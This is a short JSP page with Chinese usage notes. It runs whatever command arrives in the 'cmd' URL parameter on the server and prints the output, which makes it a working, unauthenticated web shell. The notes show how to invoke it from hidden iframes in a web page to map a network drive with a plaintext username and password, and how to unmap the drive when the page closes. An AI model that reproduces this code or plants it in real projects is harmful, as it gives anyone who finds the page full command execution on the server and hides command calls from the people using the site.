<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
用法:cmd.jsp?cmd=你要執行的命令
例:在html中 創建映射磁盤Z
<iframe src="../cmd.jsp?cmd=net use z: \\ ip \filename password /user:username" style="display:none">
</iframe>
//關閉頁面時 關閉映射磁盤
function onBeforeUnload(){
var str = "<iframe src='../cmd.jsp?cmd=net use z: /del /y' style='display:none'>"+"</iframe>";
var temp=document.getElementById("close").innerHTML;
document.getElementById("close").innerHTML=temp+str;
}